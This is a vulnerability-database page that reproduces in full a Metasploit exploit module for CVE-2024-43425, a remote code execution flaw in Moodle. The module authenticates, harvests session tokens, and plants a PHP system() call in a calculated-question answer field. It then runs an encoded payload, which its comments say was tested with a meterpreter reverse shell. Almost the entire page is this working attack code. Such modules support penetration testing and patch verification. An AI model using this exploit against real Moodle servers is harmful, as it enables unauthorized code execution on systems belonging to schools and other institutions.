Lucene search
K

Moodle Remote Code Execution (CVE-2024-43425)

🗓️ 06 Dec 2024 18:58:08Reported by Michael Heinzl, RedTeam Pentesting GmbHType 
metasploit
 metasploit
🔗 www.rapid7.com👁 990 Views

Exploits command injection in Moodle for remote code execution across various versions.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Code Injection in Moodle
13 Oct 202502:32
githubexploit
GithubExploit
Exploit for Code Injection in Moodle
13 Jul 202504:52
githubexploit
GithubExploit
Exploit for Code Injection in Moodle
7 Feb 202519:48
githubexploit
GithubExploit
Exploit for Code Injection in Moodle
28 Jun 202508:49
githubexploit
Circl
CVE-2024-43425
28 Aug 202409:02
circl
CNNVD
Moodle 安全漏洞
7 Nov 202400:00
cnnvd
CVE
CVE-2024-43425
7 Nov 202413:21
cve
Cvelist
CVE-2024-43425 Moodle: remote code execution via calculated question types
7 Nov 202413:21
cvelist
Exploit DB
Moodle 4.4.0 - Authenticated Remote Code Execution
2 Jul 202500:00
exploitdb
Github Security Blog
Moodle Remote Code Execution vulnerability
7 Nov 202415:31
github
Rows per page
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Moodle Remote Code Execution (CVE-2024-43425)',
        'Description' => %q{
          This module exploits a command injection vulnerability in Moodle (CVE-2024-43425) to obtain remote code execution.
          Affected versions include 4.4 to 4.4.1, 4.3 to 4.3.5, 4.2 to 4.2.8, 4.1 to 4.1.11, and earlier unsupported versions.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Michael Heinzl', # MSF Module
          'RedTeam Pentesting GmbH', # Discovery and PoC
        ],
        'References' => [
          [ 'URL', 'https://blog.redteam-pentesting.de/2024/moodle-rce/'],
          [ 'URL', 'https://www.redteam-pentesting.de/en/advisories/rt-sa-2024-009/'],
          [ 'URL', 'https://moodle.org/mod/forum/discuss.php?d=461193'],
          [ 'CVE', '2024-43425'],
          ['EDB', '52350'],
        ],
        'DisclosureDate' => '2024-08-27',
        'Targets' => [
          [
            'Linux Command',
            {
              'Arch' => [ ARCH_CMD ],
              'Platform' => [ 'linux' ],
              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
              'Type' => :unix_cmd
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [EVENT_DEPENDENT],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('USERNAME', [true, 'Username to authenticate to the system. Needs to be allowed to add questions to a quiz.']),
        OptString.new('PASSWORD', [true, 'Password for the user']),
        OptInt.new('COURSEID', [true, 'The course ID. Can be retrieved from the URL when the course is selected (e.g., <IP>/moodle/course/view.php?id=3)']),
        OptInt.new('CMID', [true, 'The course module ID. Can be retrieved from the URL when the "Add question" button is pressed within a quiz of a course (e.g., <IP>/moodle/mod/quiz/edit.php?cmid=4)']),
        OptString.new('TARGETURI', [ true, 'The URI for the Moodle web interface', '/'])
      ]
    )
  end

  def exploit
    execute_command(payload.encoded)
  end

  def execute_command(cmd)
    print_status('Obtaining MoodleSession and logintoken...')

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'moodle/login/index.php?loginredirect=1')
    )

    fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res
    fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 200

    print_good('Server reachable.')

    moodlesession = res.get_cookies.scan(/MoodleSession=([^;]+)/).flatten[0]
    fail_with(Failure::UnexpectedReply, 'MoodleSession not found.') unless moodlesession
    vprint_status("MoodleSession: #{moodlesession}")

    html = res.get_html_document
    logintoken = html.to_s.match(/name="logintoken" value="([^"]+)"/)[1]
    fail_with(Failure::UnexpectedReply, 'logintoken not found.') unless logintoken
    vprint_status("logintoken: #{logintoken}")

    print_status("Authenticating as #{datastore['USERNAME']}...")
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'moodle/login/index.php'),
      'headers' => {
        'Cookie' => "MoodleSession=#{moodlesession}",
        'keep_cookies' => true
      },
      'ctype' => 'application/x-www-form-urlencoded',
      'vars_post' => {
        'anchor' => nil,
        'logintoken' => logintoken,
        'username' => datastore['USERNAME'],
        'password' => datastore['PASSWORD']
      }
    )

    fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res

    moodlesession = res.get_cookies.scan(/MoodleSession=([^;]+)/).flatten[0]
    fail_with(Failure::UnexpectedReply, 'MoodleSession not found.') unless moodlesession
    vprint_status("MoodleSession: #{moodlesession}")

    moodleid1 = res.get_cookies.scan(/MOODLEID1_=([^;]+)/).flatten[1]
    fail_with(Failure::UnexpectedReply, 'MOODLEID1_ not found.') unless moodleid1
    vprint_status("MOODLEID1_: #{moodleid1}")

    html = res.get_html_document
    fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 303 && html.to_s.include?('index.php?testsession=')
    print_status('Successfully authenticated.')
    testsession = html.to_s.match(/index\.php\?testsession=(\d+)/)[1]
    vprint_status("testsession: #{testsession}")

    res = send_request_cgi(
      'method' => 'GET',
      'headers' => {
        'Cookie' => "MoodleSession=#{moodlesession}; MOODLEID1_=#{moodleid1}"
      },
      'uri' => normalize_uri(target_uri.path, "moodle/login/index.php?testsession=#{testsession}")
    )

    fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res
    fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 303 && (html.to_s.include?('/my') || html.to_s.include?('/moodle/'))

    print_status('Obtaining sesskey, courseContextId, and category...')
    vprint_status('Obtaining sesskey...')
    res = send_request_cgi(
      'method' => 'GET',
      'headers' => {
        'Cookie' => "MoodleSession=#{moodlesession}; MOODLEID1_=#{moodleid1}"
      },
      'uri' => normalize_uri(target_uri.path, "moodle/mod/quiz/edit.php?cmid=#{datastore['CMID']}")
    )

    fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res
    fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 200

    html = res.get_html_document
    sesskey = html.to_s.match(/"sesskey":"([^"]+)"/)[1]
    fail_with(Failure::UnexpectedReply, 'sesskey not found.') unless sesskey
    vprint_status("sesskey: #{sesskey}")

    course_context_id = html.to_s.match(/"courseContextId":(\d+)/)[1]
    fail_with(Failure::UnexpectedReply, 'courseContextId not found.') unless course_context_id
    vprint_status("courseContextId: #{course_context_id}")

    category = html.to_s.match(/;category=(\d+)/)[1]
    fail_with(Failure::UnexpectedReply, 'category not found.') unless category
    vprint_status("category: #{category}")

    print_status('Injecting command...')
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'moodle/question/bank/editquestion/question.php'),
      'headers' => {
        'Cookie' => "MoodleSession=#{moodlesession}; MOODLEID1_=#{moodleid1}"
      },
      'ctype' => 'application/x-www-form-urlencoded',
      'vars_post' => {
        'initialcategory' => '1',
        'reload' => '1',
        'shuffleanswers' => '1',
        'answernumbering' => 'abc',
        'mform_isexpanded_id_answerhdr' => '1',
        'noanswers' => '1',
        'nounits' => '1',
        'numhints' => '2',
        'synchronize' => nil,
        'wizard' => 'datasetdefinitions',
        'id' => nil,
        'inpopup' => '0',
        'cmid' => datastore['CMID'].to_s,
        'courseid' => datastore['COURSEID'].to_s,
        'returnurl' => "/mod/quiz/edit.php?cmid=#{datastore['CMID']}&addonpage=0",
        'mdlscrollto' => '0',
        'appendqnumstring' => 'addquestion',
        'qtype' => 'calculated',
        'makecopy' => '0',
        'sesskey' => sesskey.to_s,
        '_qf__qtype_calculated_edit_form' => '1',
        'mform_isexpanded_id_generalheader' => '1',
        'mform_isexpanded_id_unithandling' => '0',
        'mform_isexpanded_id_unithdr' => '0',
        'mform_isexpanded_id_multitriesheader' => '0',
        'mform_isexpanded_id_tagsheader' => '0',
        'category' => "#{category},#{course_context_id}",
        'name' => Rex::Text.rand_text_alpha(6..10),
        'questiontext[text]' => '<p>{b}</p>',
        'questiontext[format]' => '1',
        'questiontext[itemid]' => rand(424810000..424819999), # '424815274',
        'status' => 'ready',
        'defaultmark' => '1',
        'generalfeedback[text]' => nil,
        'generalfeedback[format]' => '1',
        'generalfeedback[itemid]' => rand(940090000..940099999), # '940093981',
        'idnumber' => nil,
        'answer[0]' => '(1)->{system($_GET[chr(97)])}',
        'fraction[0]' => '1.0',
        'tolerance[0]' => '0.01',
        'tolerancetype[0]' => '1',
        'correctanswerlength[0]' => '2',
        'correctanswerformat[0]' => '1',
        'feedback[0][text]' => nil,
        'feedback[0][format]' => '1',
        'feedback[0][itemid]' => rand(738790000..738799999), # '738798744',
        'unitrole' => '3',
        'penalty' => rand(0.1333333..0.7333333), # '0.3333333',
        'hint[0][text]' => nil,
        'hint[0][format]' => '1',
        'hint[0][itemid]' => rand(562440000..562449999), # '562446571',
        'hint[1][text]' => nil,
        'hint[1][format]' => '1',
        'hint[1][itemid]' => rand(161670000..161679999), # '161675382',
        'tags' => '_qf__force_multiselect_submission',
        'submitbutton' => 'Save+changes'
      }
    )

    fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res

    html = res.get_html_document
    fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 303 && html.to_s.include?('question/bank/editquestion/question.php?qtype=calculated')

    location_header = res.headers['Location']
    id = location_header && location_header.match(/&id=(\d+)/)
    id = id[1] if id
    fail_with(Failure::UnexpectedReply, 'ID not found.') unless id
    vprint_status("id value: #{id}")

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'moodle/question/bank/editquestion/question.php?wizardnow=datasetdefinitions'),
      'headers' => {
        'Cookie' => "MoodleSession=#{moodlesession}; MOODLEID1_=#{moodleid1}"
      },
      'ctype' => 'application/x-www-form-urlencoded',
      'vars_post' => {
        'id' => id.to_s,
        'inpopup' => '0',
        'cmid' => datastore['CMID'].to_s,
        'courseid' => datastore['COURSEID'].to_s,
        'returnurl' => "/mod/quiz/edit.php?cmid=#{datastore['CMID']}&addonpage=0",
        'mdlscrollto' => '0',
        'appendqnumstring' => 'addquestion',
        'category' => "#{category},#{course_context_id}",
        'wizard' => 'datasetitems',
        'sesskey' => sesskey.to_s,
        '_qf__question_dataset_dependent_definitions_form' => '1',
        'dataset[0]' => '0',
        'dataset[1]' => '1-0-x',
        'synchronize' => '0',
        'submitbutton' => 'Next+page'
      }
    )

    fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res

    html = res.get_html_document

    fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 303 && html.to_s.include?('question/bank/editquestion/')

    cmd2 = URI.encode_www_form_component(cmd)
    res = send_request_cgi(
      'method' => 'GET',
      'headers' => {
        'Cookie' => "MoodleSession=#{moodlesession}; MOODLEID1_=#{moodleid1}"
      },
      'uri' => normalize_uri(target_uri.path, "/moodle/question/bank/editquestion/question.php?id=#{id}&category=#{category}&cmid=#{datastore['CMID']}&courseid=#{datastore['COURSEID']}&wizardnow=datasetitems&returnurl=%2Fmod%2Fquiz%2Fedit.php%3Fcmid%3D#{datastore['CMID']}%26addonpage%3D0&appendqnumstring=addquestion&mdlscrollto=0&a=#{cmd2}")
    )

    fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation